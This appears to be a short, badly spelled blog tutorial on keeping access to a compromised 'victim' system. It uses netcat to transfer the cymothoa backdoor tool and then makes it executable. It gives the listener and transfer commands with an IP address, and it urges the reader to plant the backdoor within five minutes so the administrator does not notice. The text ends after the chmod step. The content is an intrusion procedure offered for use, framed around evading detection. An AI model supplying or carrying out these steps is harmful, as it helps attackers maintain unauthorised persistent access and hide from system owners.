backdooring with nc and cymothoa

on this article i try explain about backdooring with nc and cymothoa. this step do in hacking technique if we've done attack to system. install backodoor to victim should not be more 5 minute after done attacking. if more than you will fail, system administrator known what you do.
u can install backdoor cymonthoa used nc, run command on vicitm system #nc -l -p 212 > cymothoa if done after that run nc too on your system for transfer cymonthoa root@cupenk:/pentest/backdoors/cymothoa# nc 192.168.0.135 212 < cymothoa
if done change priv access cymonthoa on victim #chmod +rwx cymohoa